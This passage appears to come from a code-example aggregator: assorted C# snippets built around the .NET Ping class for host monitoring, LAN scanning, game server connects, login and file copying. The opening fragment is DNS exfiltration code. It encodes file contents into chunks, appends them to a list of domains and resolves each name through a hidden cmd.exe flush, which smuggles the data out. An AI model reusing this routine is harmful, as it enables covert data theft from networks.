                    dizi.Add(kurum[0]);
                    dizi.Add(dosyaNew[0]);

                    dizi.Add(islemNo);

                    try
                    {
                        string result = System.Convert.ToBase64String(content);
                        result = result.Replace("/", "bolu");
                        result = result.Replace("+", "arti");
                        int    diziBoyutu = result.Length - 1, index = 0;
                        int    sayac  = result.Length;
                        Random random = new Random();
                        int    boyut  = random.Next(30, 52);

                        int kalan;
                        while (sayac > boyut)
                        {
                            boyut  = random.Next(30, 52);
                            sayac -= boyut;
                            dizi.Add(result.Substring(index, boyut));
                            index += boyut;
                        }
                        kalan = sayac;
                        string   yaa = result.Substring(index, kalan);
                        string[] ya  = Regex.Split(yaa, "=");
                        dizi.Add(ya[0]);
                        string son = "bitti";

                        dizi.Add(son);
                        for (int i = 0; i < dizi.Count; i++)
                        {
                            yollanacak_veri = i + textBox4.Text + "-" + dizi[i] + "." + Domain_List[i % (Domain_List.Count)];
                            veri_dizisi.Add(yollanacak_veri);
                        }
                    }
                    catch (Exception ex)
                    {
                        MessageBox.Show("Hatalı dosya:" + ex.Message);
                    }
                }
                else if (radioButton3.Checked == true)
                {
                    islemNo = "3";
                    string   y        = ToBase32String(GetBytes(textBox3.Text));
                    string[] kurum    = Regex.Split(y, "=");
                    string   dosya    = ToBase32String(GetBytes(dosyaAdi[dosyaAdi.Count() - 1]));
                    string[] dosyaNew = Regex.Split(dosya, "=");

                    dizi.Add(kurum[0]);
                    dizi.Add(dosyaNew[0]);

                    dizi.Add(islemNo);
                    try
                    {
                        string result = ToBase32String(content);
                        result = result.Replace("/", "bolu");
                        result = result.Replace("+", "arti");
                        int    diziBoyutu = result.Length - 1, index = 0;
                        int    sayac  = result.Length;
                        Random random = new Random();
                        int    boyut  = random.Next(30, 52);

                        int kalan;
                        while (sayac > boyut)
                        {
                            boyut  = random.Next(30, 52);
                            sayac -= boyut;
                            dizi.Add(result.Substring(index, boyut));
                            index += boyut;
                        }
                        kalan = sayac;
                        string   y2 = result.Substring(index, kalan);
                        string[] ya = Regex.Split(y2, "=");
                        dizi.Add(ya[0]);
                        string son = "bitti";

                        dizi.Add(son);
                        for (int i = 0; i < dizi.Count; i++)
                        {
                            yollanacak_veri = i + textBox4.Text + "-" + dizi[i] + "." + Domain_List[i % (Domain_List.Count)];
                            veri_dizisi.Add(yollanacak_veri);
                        }
                    }
                    catch (Exception ex)
                    {
                        MessageBox.Show("Hatalı dosya:" + ex.Message);
                    }
                }
                else
                {
                    MessageBox.Show("Kaçırma türü seçilmedi ve otomatik olarak byte ayarlandı");
                    radioButton1.Checked = true;
                    goto EnBas;
                }
                IPAddress[] ip;


                for (int i = 0; i < veri_dizisi.Count; i++)
                {
                    System.Threading.Thread.Sleep(timeOut);
                    for (int j = 0; j < 2; j++)
                    {
                        System.Threading.Thread.Sleep(timeOut);
                        Ping ping = new Ping();
                        try
                        {
                            string           komut   = "ipconfig /flushdns";
                            Process          Process = new Process();
                            ProcessStartInfo ProcessInfo;
                            ProcessInfo = new ProcessStartInfo("cmd.exe", "/C " + komut);
                            ProcessInfo.CreateNoWindow  = true;
                            ProcessInfo.UseShellExecute = false;

                            Process = Process.Start(ProcessInfo);
                            Process.WaitForExit();
                            Process.Close();


                            IPHostEntry dns_bilgi = Dns.GetHostEntry(veri_dizisi[i]);

                            ip = dns_bilgi.AddressList;
                            foreach (IPAddress ipp in ip)
                            {
                                MessageBox.Show("adres:" + veri_dizisi[i] + " ip:" + ipp);
                            }

                            // PingReply DonenCevap = ping.Send(veri_dizisi[i]);
                        }
                        catch (Exception ex)
                        {
                            listBox1.Items.Add("adres:" + veri_dizisi[i] + " böyle bir adres yok");
                        }
                    }
                }

                MessageBox.Show("Başarıyla Sonlandı");
            }
        }
示例#42
0
        private static async void WatcherThread(object obj)
        {
            var entity = (WatchEntity)obj;

            Worker.Logger.LogInformation("Starting thread for " + entity.Host);
            while (true)
            {
                // var e = await repo.GetItem(entity.WatchId);
                var e = EntityList.Find(m => { return(m.WatchId == entity.WatchId); });
                if (!e.IsEnabled)
                {
                    Worker.Logger.LogInformation($"{entity.Host} was disabled");
                    break;
                }

                string data = "a quick brown fox jumped over the lazy dog";

                Ping        pingSender = new Ping();
                PingOptions options    = new PingOptions
                {
                    DontFragment = true
                };

                byte[] buffer  = Encoding.ASCII.GetBytes(data);
                int    timeout = 1024;

                Logger.LogInformation($"Pinging {entity.Host}");
                try
                {
                    PingReply reply = pingSender.Send(entity.Host, timeout, buffer, options);
                    if (reply.Status == IPStatus.Success)
                    {
                        Logger.LogInformation($"Address: {reply.Address}");
                        Logger.LogInformation($"RoundTrip time: {reply.RoundtripTime}");
                        Logger.LogInformation($"Buffer size: {reply.Buffer.Length}");

                        if (!entity.IsOnline)
                        {
                            entity.IsOnline = true;
                            await repo.Update(entity);

                            var r = await SmtpClient.SendHostStatusEmail(entity.Emails, true, entity.Host);

                            if (!r)
                            {
                                Logger.LogError($"Could not send email to {entity.Emails}");
                            }
                        }
                    }
                    else
                    {
                        if (entity.IsOnline)
                        {
                            entity.IsOnline = false;
                            await repo.Update(entity);

                            var r = await SmtpClient.SendHostStatusEmail(entity.Emails, false, entity.Host);

                            if (!r)
                            {
                                Logger.LogError($"Could not send email to {entity.Emails}");
                            }
                        }
                        Logger.LogError(reply.Status.ToString());
                    }
                }
                catch (Exception ex)
                {
                    Logger.LogError(ex.ToString());
                }

                await Task.Delay(entity.PingIntervalSeconds * 1000);
            }
        }
示例#43
0
 public object Any(Ping request)
 {
     return("OK");
 }
示例#44
0
        public void IsPingPong_NumberDivisibleByThree_True()
        {
            Ping testPingPong = new Ping();

            Assert.AreEqual("ping", testPingPong.isPingPong(6));
        }
 private void InitializePingSender()
 {
     pingSender = new Ping();
     pingSender.PingCompleted += pingSender_PingCompleted;
 }
示例#46
0
        /*public static void JoinOption(int svopsecec)
         * {
         *  if (svopsecec == 1)
         *  {
         *      JoinServer();
         *      System.Threading.Thread.Sleep(5000);
         *      System.Environment.Exit(0);
         *  }
         *  else if (svopsecec == 2)
         *  {
         *      Console.WriteLine("\nTchau!");
         *      System.Threading.Thread.Sleep(5000);
         *  }
         *  else
         *  {
         *      Console.WriteLine("\nOpção Inválida, reiniciando...");
         *      JoinOption(svopsecec);
         *  }
         * }*/

        #endregion

        #region Methods

        public static async void JoinServer()
        {
            bool      testado  = false;
            string    ipusado  = null;
            PingReply resposta = null;

            string[] ips             = new[] { "play.gkhosting.net", "play.gkhosting.net", "179.108.91.159" };
            string[] ipsparaconectar = new[] { "steam://connect/play.gkhosting.net:2457", "steam://connect/play.gkhosting.net:2457", "steam://connect/179.108.91.159:2457" };

            #region Ping

            Ping pinger = new Ping();

            if (!testado)
            {
                try
                {
                    PingReply resposta1 = await pinger.SendPingAsync(ips[0]);

                    resposta = resposta1;
                    ipusado  = ipsparaconectar[0];
                    testado  = true;
                    Console.WriteLine("\nIP 1 - CONECTANDO");
                }
                catch (Exception)
                {
                    Console.WriteLine("IP 1 - ERRO");
                }
            }

            if (!testado)
            {
                try
                {
                    PingReply resposta2 = await pinger.SendPingAsync(ips[1]);

                    resposta = resposta2;
                    ipusado  = ipsparaconectar[1];
                    testado  = true;
                    Console.WriteLine("\nIP 2 - CONECTANDO");
                }
                catch (Exception)
                {
                    Console.WriteLine("IP 2 - ERRO");
                }
            }

            if (!testado)
            {
                try
                {
                    PingReply resposta3 = await pinger.SendPingAsync(ips[2]);

                    resposta = resposta3;
                    ipusado  = ipsparaconectar[2];
                    Console.WriteLine("\nIP 3 - CONECTANDO");
                }
                catch (Exception)
                {
                    Console.WriteLine("IP 3 - ERRO");
                }
            }

            #endregion

            if (resposta.Status.ToString().ToLower() == "success")
            {
                //Console.WriteLine(ipusado);
                System.Diagnostics.Process.Start(ipusado);
            }
        }
示例#47
0
        bool ProcessPacket(WorldPacket packet)
        {
            ClientOpcodes opcode = (ClientOpcodes)packet.GetOpcode();

            try
            {
                switch (opcode)
                {
                case ClientOpcodes.Ping:
                    Ping ping = new Ping(packet);
                    ping.Read();
                    return(HandlePing(ping));

                case ClientOpcodes.AuthSession:
                    if (_worldSession != null)
                    {
                        Log.outError(LogFilter.Network, "WorldSocket.ProcessPacket: received duplicate CMSG_AUTH_SESSION from {0}", _worldSession.GetPlayerInfo());
                        return(false);
                    }

                    AuthSession authSession = new AuthSession(packet);
                    authSession.Read();
                    HandleAuthSession(authSession);
                    break;

                case ClientOpcodes.AuthContinuedSession:
                    if (_worldSession != null)
                    {
                        Log.outError(LogFilter.Network, "WorldSocket.ProcessPacket: received duplicate CMSG_AUTH_CONTINUED_SESSION from {0}", _worldSession.GetPlayerInfo());
                        return(false);
                    }

                    AuthContinuedSession authContinuedSession = new AuthContinuedSession(packet);
                    authContinuedSession.Read();
                    HandleAuthContinuedSession(authContinuedSession);
                    break;

                case ClientOpcodes.LogDisconnect:
                    break;

                case ClientOpcodes.EnableNagle:
                    Log.outDebug(LogFilter.Network, "Client {0} requested enabling nagle algorithm", GetRemoteIpAddress().ToString());
                    SetNoDelay(false);
                    break;

                case ClientOpcodes.ConnectToFailed:
                    ConnectToFailed connectToFailed = new ConnectToFailed(packet);
                    connectToFailed.Read();
                    HandleConnectToFailed(connectToFailed);
                    break;

                case ClientOpcodes.EnableEncryptionAck:
                    HandleEnableEncryptionAck();
                    break;

                default:
                    if (_worldSession == null)
                    {
                        Log.outError(LogFilter.Network, "ProcessIncoming: Client not authed opcode = {0}", opcode);
                        return(false);
                    }

                    if (!PacketManager.ContainsHandler(opcode))
                    {
                        Log.outError(LogFilter.Network, "No defined handler for opcode {0} sent by {1}", opcode, _worldSession.GetPlayerInfo());
                        break;
                    }

                    // Our Idle timer will reset on any non PING opcodes.
                    // Catches people idling on the login screen and any lingering ingame connections.
                    _worldSession.ResetTimeOutTime();
                    _worldSession.QueuePacket(packet);
                    break;
                }
            }
            catch (IOException)
            {
                Log.outError(LogFilter.Network, "WorldSocket.ProcessPacket(): client {0} sent malformed {1}", GetRemoteIpAddress().ToString(), opcode);
                return(false);
            }

            return(true);
        }
示例#48
0
        /// <summary>
        ///   Executes task(s) to be executed when the health check provided by this plugin is invoked.
        /// </summary>
        /// <returns>The status of the result of the health check.</returns>
        public IHealthStatus Execute()
        {
            _log.Debug($"Plugin '{Name}' is executing...");
            PluginStatus = PluginStatus.Executing;

            try
            {
                var ping = new Ping();
                var sw   = new Stopwatch();

                sw.Start();

                var data    = Encoding.ASCII.GetBytes(DateTime.UtcNow.ToString());
                var options = new PingOptions()
                {
                    DontFragment = true
                };

                var       retry   = true;
                var       counter = 0;
                PingReply reply   = null;

                while (retry)
                {
                    reply = ping.Send(HostName, TimeOut, data, options);

                    if (reply.Status == IPStatus.Success)
                    {
                        retry = false;
                    }
                    else
                    {
                        if (counter++ >= Retries)
                        {
                            _log.Info("Ping failed, retries exceeded.");
                            retry = false;
                        }
                        else
                        {
                            _log.Info($"Ping failed, retrying.  Attempt #{counter}");
                            Thread.Sleep(RetryDelay);
                        }
                    }
                }

                sw.Stop();

                _log.Debug(
                    $"Ping {reply.Status} [{reply.RoundtripTime}/{sw.Elapsed.TotalMilliseconds}ms]");

                var status = ProcessPingResponse(reply.Status, reply.RoundtripTime);

                PluginStatus = PluginStatus.Idle;

                return(status);
            }
            catch (Exception ex)
            {
                PluginStatus = PluginStatus.TaskExecutionFailure;

                _log.Error("Exception during PingCheck {0}: {1}", HostName, ex.Message, ex);

                return(new PingCheckStatus()
                {
                    Status = CheckResult.Error,
                    Summary = ex.Message,
                    Details = ex.ToString()
                });
            }
        }
示例#49
0
        public ScannerResult Scan(IPAddress subnet)
        {
            // Step 1: nmap is only used to scan the range. It actually doesn't see my LG TV
            // If issue is found, use sudo for nmap so it gets the MAC

            var psi = new ProcessStartInfo
            {
                FileName  = "nmap",
                Arguments = $"-sP {subnet}/24",
                RedirectStandardOutput = true,
                RedirectStandardError  = true,
                RedirectStandardInput  = true,
                CreateNoWindow         = true
            };

            using var process = Process.Start(psi) ?? throw new Exception($"Failed to start {psi.FileName}");
            process.WaitForExit();
            var output = process.StandardOutput.ReadToEnd().Split(Environment.NewLine);

            /*
             * var result = new ScannerResult();
             * var hostRe = new Regex(@"^Nmap scan report for (?<name>\S+) \((?<ip>\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\)");
             * var macRe = new Regex(@"^MAC Ip: (?<mac>(?:[0-9A-F]{2}:){5}[0-9A-F]{2})");
             * IpAndMac entry = null;
             * foreach (var line in output)
             * {
             *  var ma = hostRe.Match(line);
             *  if (ma.Success)
             *  {
             *      if (entry != null)
             *          result.Online.Add(entry);
             *      entry = new IpAndMac(IPAddress.Parse(ma.Groups["ip"].Value));
             *  }
             *
             *  if (entry == null)
             *      continue;
             *  ma = macRe.Match(line);
             *  if (ma.Success)
             *      entry.Mac = PhysicalAddress.Parse(ma.Groups["mac"].Value.ToUpper().Replace(':', '-'));
             * }
             *
             * if (entry?.Mac != null)
             *  result.Online.Add(entry);
             *
             * return result;
             */

            // Step 2: Get arp entries
            var arp = Arp.GetAll();

            // Stop 3: Ping all arp entries
            var result = new ScannerResult();

            using var ping = new Ping();
            foreach (var entry in arp)
            {
                if (ping.Send(entry.Ip, 200)?.Status == IPStatus.Success)
                {
                    result.Online.Add(entry);
                }
            }
            return(result);
        }
示例#50
0
        public async void Login()
        {
            var db   = DependencyService.Get <ISQLiteDB>();
            var conn = db.GetConnection();

            var hostName  = entHost.Text;
            var database  = entDatabase.Text;
            var userName  = entUser.Text;
            var password  = entPassword.Text;
            var ipaddress = entIPAddress.Text;

            string[] pingip        = ipaddress.Split(new char[] { '.' });
            byte[]   pingipaddress = new byte[] { byte.Parse(pingip[0]), byte.Parse(pingip[1]), byte.Parse(pingip[2]), byte.Parse(pingip[3]) };

            if (string.IsNullOrEmpty(userName) || string.IsNullOrEmpty(password))
            {
                if (string.IsNullOrEmpty(entUser.Text))
                {
                    usernameFrame.BorderColor = Color.FromHex("#e74c3c");
                }
                else
                {
                    usernameFrame.BorderColor = Color.FromHex("#f2f2f5");
                }

                if (string.IsNullOrEmpty(entPassword.Text))
                {
                    passwordFrame.BorderColor = Color.FromHex("#e74c3c");
                }
                else
                {
                    passwordFrame.BorderColor = Color.FromHex("#f2f2f5");
                }

                await DisplayAlert("Login Error", "Please fill-up the form", "Got it");
            }
            else
            {
                if (CrossConnectivity.Current.IsConnected)
                {
                    try
                    {
                        var link    = "http://" + ipaddress + Constants.requestUrl + "Host=" + hostName + "&Database=" + database + "&User="******"&Password="******"&Request=7ZEGvK" + "&Code=" + Constants.deviceID;
                        var request = HttpWebRequest.Create(string.Format(@link));

                        request.ContentType = "application/json";
                        request.Method      = "GET";

                        var ping  = new Ping();
                        var reply = ping.Send(new IPAddress(pingipaddress), 5000);

                        if (reply.Status == IPStatus.Success)
                        {
                            using (HttpWebResponse response = request.GetResponse() as HttpWebResponse)
                            {
                                if (response.StatusCode != HttpStatusCode.OK)
                                {
                                    await DisplayAlert("Login Error", "Error fetching data. Server returned status code: {0} " + response.StatusCode, "Ok");
                                }
                                else
                                {
                                    using (StreamReader reader = new StreamReader(response.GetResponseStream()))
                                    {
                                        var content = reader.ReadToEnd();

                                        if (!content.Equals("[]") || !string.IsNullOrWhiteSpace(content) || !string.IsNullOrEmpty(content))
                                        {
                                            if (content.Equals("[{\"Message\":\"SubscriptionExp\"}]"))
                                            {
                                                await DisplayAlert("Subscription Error", "Your subscription has been expired, please contact your administrator to register your device", "Send Email");

                                                var subject = "Subscription Expired: " + userName + " - " + Constants.deviceID;
                                                var body    = "Good Day!<br/><br/> " +
                                                              "This user needs new product key.<br/><br/>" +
                                                              "Username: "******"<br/>" +
                                                              "Device ID: " + Constants.deviceID + "<br/>";

                                                var emailMessenger = CrossMessaging.Current.EmailMessenger;
                                                if (emailMessenger.CanSendEmail)
                                                {
                                                    var emailsend = new EmailMessageBuilder()
                                                                    .To(Constants.email)
                                                                    .Subject(subject)
                                                                    .BodyAsHtml(body)
                                                                    .Build();

                                                    emailMessenger.SendEmail(emailsend);
                                                }
                                            }
                                            else if (content.Equals("[{\"Message\":\"SubscriptionTrialExp\"}]"))
                                            {
                                                await DisplayAlert("Trial Subscription Error", "Your trial subscription has been expired, please contact your administrator to register your device", "Send Email");

                                                var subject = "Subscription Expired: " + userName + " - " + Constants.deviceID;
                                                var body    = "Good Day!<br/><br/> " +
                                                              "This user needs new product key.<br/><br/>" +
                                                              "Username: "******"<br/>" +
                                                              "Device ID: " + Constants.deviceID + "<br/>";

                                                var emailMessenger = CrossMessaging.Current.EmailMessenger;
                                                if (emailMessenger.CanSendEmail)
                                                {
                                                    var emailsend = new EmailMessageBuilder()
                                                                    .To(Constants.email)
                                                                    .Subject(subject)
                                                                    .BodyAsHtml(body)
                                                                    .Build();

                                                    emailMessenger.SendEmail(emailsend);
                                                }
                                            }
                                            else if (content.Equals("[{\"Message\":\"Subscription\"}]"))
                                            {
                                                var trialsub = await DisplayAlert("Subscription Not Found", "Your device is not registered, please contact your administrator to register your device", "Activate Trial", "Send Email");

                                                if (trialsub == true)
                                                {
                                                    var current_date = DateTime.Now.ToString("yyyy-MM-dd");

                                                    var     triallink        = "http://" + ipaddress + Constants.requestUrl + "Host=" + hostName + "&Database=" + database + "&Request=Nv237z";
                                                    string  trialcontentType = "application/json";
                                                    JObject trialjson        = new JObject
                                                    {
                                                        { "Serial", Constants.deviceID },
                                                        { "Date", DateTime.Parse(current_date) }
                                                    };

                                                    HttpClient trialclient   = new HttpClient();
                                                    var        trialresponse = await trialclient.PostAsync(triallink, new StringContent(trialjson.ToString(), Encoding.UTF8, trialcontentType));

                                                    if (trialresponse.IsSuccessStatusCode)
                                                    {
                                                        await DisplayAlert("Trial Activated", "You activated trial for 30 days", "Got it");
                                                    }
                                                }
                                                else
                                                {
                                                    var subject = "Register Device: " + userName + " - " + Constants.deviceID;
                                                    var body    = "Good Day!<br/><br/> " +
                                                                  "This user needs to register the device.<br/><br/>" +
                                                                  "Username: "******"<br/>" +
                                                                  "Device ID: " + Constants.deviceID + "<br/>";

                                                    var emailMessenger = CrossMessaging.Current.EmailMessenger;
                                                    if (emailMessenger.CanSendEmail)
                                                    {
                                                        var emailsend = new EmailMessageBuilder()
                                                                        .To(Constants.email)
                                                                        .Subject(subject)
                                                                        .BodyAsHtml(body)
                                                                        .Build();

                                                        emailMessenger.SendEmail(emailsend);
                                                    }
                                                }
                                            }
                                            else if (content.Equals("[{\"Message\":\"Credential\"}]"))
                                            {
                                                await DisplayAlert("Login Error", "Username or password is incorrect", "Got it");
                                            }
                                            else
                                            {
                                                var result    = JsonConvert.DeserializeObject <List <UserTable> >(content);
                                                var contactID = result[0].ContactID;

                                                Preferences.Set("username", userName, "private_prefs");

                                                await Application.Current.MainPage.Navigation.PushAsync(new SyncPage(hostName, database, contactID, ipaddress, pingipaddress));
                                            }
                                        }
                                    }
                                }
                            }
                        }
                        else
                        {
                            var getUser = conn.QueryAsync <UserTable>("SELECT * FROM tblUser WHERE UserID = ? AND UserPassword = ?", userName, password);
                            var result  = getUser.Result.Count;

                            if (result < 1)
                            {
                                await DisplayAlert("Login Error", "Username or password is incorrect", "Got it");
                            }
                            else
                            {
                                var item      = getUser.Result[0];
                                var contactID = item.ContactID;

                                var getSubscription = conn.QueryAsync <SystemSerialTable>("SELECT * FROM tblSystemSerial WHERE SerialNumber = ?", Constants.deviceID);
                                var subresult       = getSubscription.Result.Count;

                                if (subresult < 1)
                                {
                                    await DisplayAlert("Subscription Error", "Your device is not registered, please contact your administrator to register your device", "Send Email");

                                    var subject = "Register Device: " + userName + " - " + Constants.deviceID;
                                    var body    = "Good Day!<br/><br/> " +
                                                  "This user needs to register the device.<br/><br/>" +
                                                  "Username: "******"<br/>" +
                                                  "Device ID: " + Constants.deviceID + "<br/>";

                                    var emailMessenger = CrossMessaging.Current.EmailMessenger;
                                    if (emailMessenger.CanSendEmail)
                                    {
                                        var emailsend = new EmailMessageBuilder()
                                                        .To(Constants.email)
                                                        .Subject(subject)
                                                        .BodyAsHtml(body)
                                                        .Build();

                                        emailMessenger.SendEmail(emailsend);
                                    }
                                }
                                else
                                {
                                    var subitem        = getSubscription.Result[0];
                                    var NoOfDays       = subitem.NoOfDays;
                                    var startDate      = subitem.DateStart;
                                    var ExpirationDate = startDate.AddDays(30);

                                    if (DateTime.Now > ExpirationDate)
                                    {
                                        await DisplayAlert("Subscription Error", "Your subscription has been expired, please contact your administrator to register your device", "Send Email");

                                        var subject = "Subscription Expired: " + userName + " - " + Constants.deviceID;
                                        var body    = "Good Day!<br/><br/> " +
                                                      "This user needs new product key.<br/><br/>" +
                                                      "Username: "******"<br/>" +
                                                      "Device ID: " + Constants.deviceID + "<br/>";

                                        var emailMessenger = CrossMessaging.Current.EmailMessenger;
                                        if (emailMessenger.CanSendEmail)
                                        {
                                            var emailsend = new EmailMessageBuilder()
                                                            .To(Constants.email)
                                                            .Subject(subject)
                                                            .BodyAsHtml(body)
                                                            .Build();

                                            emailMessenger.SendEmail(emailsend);
                                        }
                                    }
                                    else
                                    {
                                        Preferences.Set("username", userName, "private_prefs");
                                        await Application.Current.MainPage.Navigation.PushAsync(new SyncPage(hostName, database, contactID, ipaddress, pingipaddress));
                                    }
                                }
                            }
                        }
                    }
                    catch (Exception ex)
                    {
                        Crashes.TrackError(ex);
                    }
                }
                else
                {
                    var getUser = conn.QueryAsync <UserTable>("SELECT * FROM tblUser WHERE UserID = ? AND UserPassword = ?", userName, password);
                    var result  = getUser.Result.Count;

                    if (result < 1)
                    {
                        await DisplayAlert("Login Error", "Username or password is incorrect", "Got it");
                    }
                    else
                    {
                        var item      = getUser.Result[0];
                        var contactID = item.ContactID;

                        var getSubscription = conn.QueryAsync <SystemSerialTable>("SELECT * FROM tblSystemSerial WHERE SerialNumber = ?", Constants.deviceID);
                        var subresult       = getSubscription.Result.Count;

                        if (subresult < 1)
                        {
                            await DisplayAlert("Subscription Error", "Your device is not registered, please contact your administrator to register your device", "Send Email");

                            var subject = "Register Device: " + userName + " - " + Constants.deviceID;
                            var body    = "Good Day!<br/><br/> " +
                                          "This user needs to register the device.<br/><br/>" +
                                          "Username: "******"<br/>" +
                                          "Device ID: " + Constants.deviceID + "<br/>";

                            var emailMessenger = CrossMessaging.Current.EmailMessenger;
                            if (emailMessenger.CanSendEmail)
                            {
                                var emailsend = new EmailMessageBuilder()
                                                .To(Constants.email)
                                                .Subject(subject)
                                                .BodyAsHtml(body)
                                                .Build();

                                emailMessenger.SendEmail(emailsend);
                            }
                        }
                        else
                        {
                            var subitem        = getSubscription.Result[0];
                            var NoOfDays       = subitem.NoOfDays;
                            var startDate      = subitem.DateStart;
                            var ExpirationDate = startDate.AddDays(30);

                            if (DateTime.Now > ExpirationDate)
                            {
                                await DisplayAlert("Subscription Error", "Your subscription has been expired, please contact your administrator to register your device", "Send Email");

                                var subject = "Subscription Expired: " + userName + " - " + Constants.deviceID;
                                var body    = "Good Day!<br/><br/> " +
                                              "This user needs new product key.<br/><br/>" +
                                              "Username: "******"<br/>" +
                                              "Device ID: " + Constants.deviceID + "<br/>";

                                var emailMessenger = CrossMessaging.Current.EmailMessenger;
                                if (emailMessenger.CanSendEmail)
                                {
                                    var emailsend = new EmailMessageBuilder()
                                                    .To(Constants.email)
                                                    .Subject(subject)
                                                    .BodyAsHtml(body)
                                                    .Build();

                                    emailMessenger.SendEmail(emailsend);
                                }
                            }
                            else
                            {
                                Preferences.Set("username", userName, "private_prefs");
                                await Application.Current.MainPage.Navigation.PushAsync(new SyncPage(hostName, database, contactID, ipaddress, pingipaddress));
                            }
                        }
                    }
                }
            }
        }
示例#51
0
        /// <summary>
        /// Downloads and parses the list of CnCNet tunnels.
        /// </summary>
        /// <returns>A list of tunnel servers.</returns>
        private List <CnCNetTunnel> RefreshTunnels()
        {
            string tunnelCacheFile = ProgramConstants.GamePath + "Client\\tunnel_cache";

            List <CnCNetTunnel> returnValue = new List <CnCNetTunnel>();

            WebClient client = new WebClient();

            byte[] data;

            Logger.Log("Fetching tunnel server info.");

            try
            {
                data = client.DownloadData("http://cncnet.org/master-list");
            }
            catch (Exception ex)
            {
                Logger.Log("Error when downloading tunnel server info: " + ex.Message);
                Logger.Log("Retrying.");
                try
                {
                    data = client.DownloadData("http://cncnet.org/master-list");
                }
                catch
                {
                    if (!File.Exists(tunnelCacheFile))
                    {
                        Logger.Log("Tunnel cache file doesn't exist!");
                        return(returnValue);
                    }
                    else
                    {
                        Logger.Log("Fetching tunnel server list failed. Using cached tunnel data.");
                        data = File.ReadAllBytes(tunnelCacheFile);
                    }
                }
            }

            string convertedData = Encoding.Default.GetString(data);

            string[] serverList = convertedData.Split(new string[] { "\r\n", "\n" }, StringSplitOptions.RemoveEmptyEntries);

            foreach (string serverinfo in serverList)
            {
                string[] serverInfo = serverinfo.Split(new char[] { ';' });

                CnCNetTunnel tunnel = new CnCNetTunnel();

                try
                {
                    string   address         = serverInfo[0];
                    string[] detailedAddress = address.Split(new char[] { ':' });
                    tunnel.Address = detailedAddress[0];
                    tunnel.Port    = Convert.ToInt32(detailedAddress[1]);

                    tunnel.Country          = serverInfo[1];
                    tunnel.CountryCode      = serverInfo[2];
                    tunnel.Name             = serverInfo[3];
                    tunnel.RequiresPassword = Conversions.BooleanFromString(serverInfo[4], true);
                    tunnel.Clients          = Convert.ToInt32(serverInfo[5]);
                    tunnel.MaxClients       = Convert.ToInt32(serverInfo[6]);
                    tunnel.Official         = (Convert.ToInt32(serverInfo[7]) == 2);
                    if (!tunnel.Official)
                    {
                        tunnel.Recommended = (Convert.ToInt32(serverInfo[7]) == 1);
                    }

                    CultureInfo cultureInfo = CultureInfo.GetCultureInfo("en-US");

                    tunnel.Latitude  = Convert.ToDouble(serverInfo[8], cultureInfo);
                    tunnel.Longitude = Convert.ToDouble(serverInfo[9], cultureInfo);
                    tunnel.Version   = Convert.ToInt32(serverInfo[10]);
                    tunnel.Distance  = Convert.ToDouble(serverInfo[11], cultureInfo);
                    tunnel.PingInMs  = -1;

                    if (tunnel.RequiresPassword)
                    {
                        continue;
                    }

                    if (tunnel.Version != 2)
                    {
                        continue;
                    }

                    if (tunnel.Official || tunnel.Recommended)
                    {
                        Ping p = new Ping();
                        try
                        {
                            PingReply reply = p.Send(IPAddress.Parse(detailedAddress[0]), 500);
                            if (reply.Status == IPStatus.Success)
                            {
                                if (reply.RoundtripTime > 0)
                                {
                                    tunnel.PingInMs = Convert.ToInt32(reply.RoundtripTime);
                                }
                            }
                        }
                        catch
                        {
                        }
                    }

                    returnValue.Add(tunnel);
                }
                catch
                {
                }
            }

            if (returnValue.Count > 0)
            {
                try
                {
                    if (File.Exists(tunnelCacheFile))
                    {
                        File.Delete(tunnelCacheFile);
                    }
                    if (!Directory.Exists(ProgramConstants.GamePath + "Client"))
                    {
                        Directory.CreateDirectory(ProgramConstants.GamePath + "Client");
                    }
                    File.WriteAllBytes(tunnelCacheFile, data);
                }
                catch (Exception ex)
                {
                    Logger.Log("Refreshing tunnel cache file failed! Returned error: " + ex.Message);
                }
            }

            return(returnValue);
        }
示例#52
0
        private void CopyFile()
        {
            if (_textBox.InvokeRequired) _textBox.Invoke(new Action<Color>((col) => _textBox.BackColor = col), Color.FromArgb(240, 240, 240));
            else _textBox.BackColor = Color.FromArgb(240, 240, 240);
            bool isPingSuccessful = false;

            try
            {
                int count = 0;
                UpdateStatus(ThreadStatus.Connecting);
                while (!isPingSuccessful)
                {
                    if (Status == ThreadStatus.Stopping)
                    {
                        Stop();
                        return;
                    }

                    if (count < 6)
                    {
                        count++;
                        UpdateStatusWithAdditionalInfo(ThreadStatus.Connecting, count.ToString());
                        Ping ping = new Ping();

                        var pr = ping.Send(_stringIP);
                        if (pr != null && pr.Status == IPStatus.Success)
                            isPingSuccessful = true;
                    }
                    else
                    {
                        UpdateStatus(ThreadStatus.NoConnection);
                        break;
                    }
                }

                if (isPingSuccessful)
                {
                    UpdateStatus(ThreadStatus.TryingToCopy);
                    Thread.Sleep(1000);
                    var sourceDirectory = _ifGettingFile ? new DirectoryInfo($@"\\{_stringIP}\{_soucreDir}") : new DirectoryInfo(_soucreDir);
                    Thread.Sleep(2000);
                    UpdateStatus(ThreadStatus.GettingFilesList);
                    sourceDirectory.Refresh();
                    FileInfo[] fi = sourceDirectory.GetFiles(_mask);

                    var pathSave = _ifGettingFile ? $@"{_finalDir}\{_shopName}" : $@"\\{_stringIP}\{_finalDir}";
                    DirectoryInfo dits = new DirectoryInfo(pathSave);
                    if (!dits.Exists)
                        dits.Create();

                    if (fi.Length == 0)
                    {
                        UpdateStatus(ThreadStatus.NoFile);
                        return;
                    }


                    for (int i = 0; i < fi.Length; i++)
                    {
                        if (Status == ThreadStatus.Stopping)
                        {
                            Stop();
                            return;
                        }

                        UpdateStatusWithAdditionalInfo(ThreadStatus.CopyingFile, $"{(i + 1)} из {fi.Length}");
                        if (_ifGettingFile)
                        {
                            // ReSharper disable once SpecifyACultureInStringConversionExplicitly
                            string date = DateTime.Now.ToString();
                            date = date.Replace(":", "-");

                            string name = fi[i].Name.Remove(fi[i].Name.IndexOf('.'));
                            string resolution = fi[i].Name.Substring(fi[i].Name.IndexOf('.'));
                            fi[i].CopyTo(pathSave + "\\" + name + " " + date + resolution, true);
                        }
                        else
                        {
                            fi[i].CopyTo(pathSave + "\\" + fi[i].Name, true);
                        }
                    }
                    UpdateStatus(ThreadStatus.FileCopied);
                }
                
            }
            catch (Exception)
            {
                UpdateStatus(ThreadStatus.Error);
            }
        }
示例#53
0
        /// <summary>
        /// Traces the route which data have to travel through in order to reach an IP address.
        /// </summary>
        /// <param name="address">The IP address of the destination.</param>
        /// <param name="maxHops">Max hops to be returned.</param>
